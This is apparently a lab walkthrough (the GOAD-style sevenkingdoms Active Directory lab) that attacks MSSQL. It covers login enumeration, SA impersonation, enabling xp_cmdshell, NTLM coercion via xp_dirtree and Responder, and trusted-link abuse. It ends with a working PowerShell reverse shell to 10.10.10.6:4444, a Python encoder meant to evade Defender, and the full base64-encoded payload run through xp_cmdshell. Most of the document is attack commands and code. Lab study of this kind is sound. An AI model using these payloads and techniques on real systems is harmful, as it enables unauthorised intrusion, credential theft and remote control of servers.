6
Attacking MSSQL
Enumeration
From our inital nmap scanning we noticed that there was two MSSQL instances running in our target scope. One on castelblack.north.sevenkingdoms.local and another on braavos.essos.local.
CrackMapExec
We can use cme to valid this as well.
Lets try and login with a domain user.Checking for MSSQL servers inside the domain and trying to login using the credentials from the current user or from another user is always a useful exercise. Sometimes all Domain Users have access to the database and every so often everyone in the domain is sysadmin on the database.
mssqlclient.py
The original creator of this lab (mayfly) released a custom version of impacket's mssqlclient.py script and added a ton of awesome features that are incredibly useful for interacting with MSSQL via Linux. You can install his modded version with the following:
git clone https://github.com/SecureAuthCorp/impacket mayflyimpacket
cd mayflyimpacket
python3 -m virtualenv mayflyimpacket
source mayflyimpacket/bin/activate
git fetch origin pull/1397/head:1397
git merge 1397
python3 -m pip install .
enum_users
mssqlclient.py -windows-auth north.sevenkingdoms.local/samwell.tarly:Heartsbane@castelblack.north.sevenkingdoms.local
enum_users
enum_logins
The raw backend SQL Queries this command executes are:select r.name,r.type_desc,r.is_disabled, sl.sysadmin, sl.securityadmin,
sl.serveradmin, sl.setupadmin, sl.processadmin, sl.diskadmin, sl.dbcreator, sl.bulkadmin
from master.sys.server_principals r
left join master.sys.syslogins sl on sl.sid = r.sid
where r.type in ('S','E','X','U','G')
enum_impersonate - execute as login
Running the enum_impersonate command tells us that our current user can impersonate the SA with execute as login
and execute commands with xp_cmdshell.
SELECT 'LOGIN' as 'execute as','' AS 'database',
pe.permission_name, pe.state_desc,pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.server_permissions pe
JOIN sys.server_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.server_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
use <db>;
SELECT 'USER' as 'execute as', DB_NAME() AS 'database',
pe.permission_name,pe.state_desc, pr.name AS 'grantee', pr2.name AS 'grantor'
FROM sys.database_permissions pe
JOIN sys.database_principals pr ON pe.grantee_principal_id = pr.principal_Id
JOIN sys.database_principals pr2 ON pe.grantor_principal_id = pr2.principal_Id WHERE pe.type = 'IM'
Lets try and execute commands with impersonation of the SA.
orexecute as login='sa';
exec master.dbo.sp_configure 'show advanced options',1;RECONFIGURE;exec master.dbo.sp_configure 'xp_cmdshell', 1;RECONFIGURE;
exec master..xp_cmdshell 'whoami'
Now we can run the enum_logins
and enum_impersonate
commands with the privileges of SA. And see that NORTH\jon.snow
is an SA and that NORTH\brandon.stark
can impersonate NORTH\jon.snow
as well.
execute as user
To demonstrate impersonation and execution as a user, we will connect to the database with NORTH\arya.stark
mssqlclient.py -windows-auth north.sevenkingdoms.local/arya.stark:Needle@castelblack.north.sevenkingdoms.local
msdb
database, coupled with the impersonate permission for dbo user.
Using this impersonation and trusted database we can execute commands as the db_owner.
Coerce and Relay MSSQL
We can leverage our access to a MSSQL server to coerce NTLM authentication which we can then possibly relay to other servers and/or try to password crack offline.
Lets authenticate to the MSSQL server as a low privileged user and demonstrate what is possible. Like the other poisoning attacks we will need to set up access our lab relaybox.
Earlier we turned off the HTTP and SMB servers for responder. We need to toggle those options back on.sed -i 's/HTTP = .*/HTTP = On/g' /opt/tools/Responder/Responder.conf && grep --color=never 'HTTP =' /opt/tools/Responder/Responder.conf
sed -i 's/SMB = .*/SMB = On/g' /opt/tools/Responder/Responder.conf && grep --color=never 'SMB =' /opt/tools/Responder/Responder.conf
hodor
user, who has no special privileges.
mssqlclient.py -windows-auth north.sevenkingdoms.local/hodor:hodor@castelblack.north.sevenkingdoms.local
xp_dirtree
to coerce the server to reach out to our listener.
And just like that, we have the ntlmv2 hash of the sql server!
Abusing Trusted Links
We can also abuse MSSQL's trusted links capabilities to obtain code execution on trusted other services that we wouldn't normally have access to.
In this example, we will connect with jon.snow
and use the enum_links
option of mssqlclient.py
mssqlclient.py -windows-auth north.sevenkingdoms.local/jon.snow:iknownothing@castelblack.north.sevenkingdoms.local
enum_links
EXEC ('select system_user as "username"') AT BRAAVOS
EXEC ('exec master.dbo.sp_configure ''show advanced options'',1;RECONFIGURE;exec master.dbo.sp_configure ''xp_cmdshell'', 1;RECONFIGURE;') AT BRAAVOS
EXEC ('exec master..xp_cmdshell ''whoami''') AT BRAAVOS
Command Exec to Shell
To get a shell on the server, we need to bypass Defender. To assist with this we can convert a powershell reverse shell into base64, encode it properly and execute it as the sqlserver.
$c = New-Object System.Net.Sockets.TCPClient('10.10.10.6',4444);
$s = $c.GetStream();[byte[]]$b = 0..65535|%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
#!/usr/bin/env python
import base64
import sys
if len(sys.argv) < 3:
print('usage : %s ip port' % sys.argv[0])
sys.exit(0)
payload="""
$c = New-Object System.Net.Sockets.TCPClient('%s',%s);
$s = $c.GetStream();[byte[]]$b = 0..65535|%%{0};
while(($i = $s.Read($b, 0, $b.Length)) -ne 0){
$d = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0, $i);
$sb = (iex $d 2>&1 | Out-String );
$sb = ([text.encoding]::ASCII).GetBytes($sb + 'ps> ');
$s.Write($sb,0,$sb.Length);
$s.Flush()
};
$c.Close()
""" % (sys.argv[1], sys.argv[2])
byte = payload.encode('utf-16-le')
b64 = base64.b64encode(byte)
print("powershell -exec bypass -enc %s" % b64.decode())
Now we can copy the script's output and execute it within our mssqlclient.py session as jon.snow and try to catch a reverse shell on the server. First we need to set up a listener.
Now we need to execute the payload from within our sql session.xp_cmdshell powershell -exec bypass -enc CgAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAMAAuADEAMAAuADEAMAAuADYAJwAsADQANAA0ADQAKQA7AAoAJABzACAAPQAgACQAYwAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AAoAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQApACAALQBuAGUAIAAwACkAewAKACAAIAAgACAAJABkACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIALAAwACwAIAAkAGkAKQA7AAoAIAAgACAAIAAkAHMAYgAgAD0AIAAoAGkAZQB4ACAAJABkACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7AAoAIAAgACAAIAAkAHMAYgAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBiACAAKwAgACcAcABzAD4AIAAnACkAOwAKACAAIAAgACAAJABzAC4AVwByAGkAdABlACgAJABzAGIALAAwACwAJABzAGIALgBMAGUAbgBnAHQAaAApADsACgAgACAAIAAgACQAcwAuAEYAbAB1AHMAaAAoACkACgB9ADsACgAkAGMALgBDAGwAbwBzAGUAKAApAAoA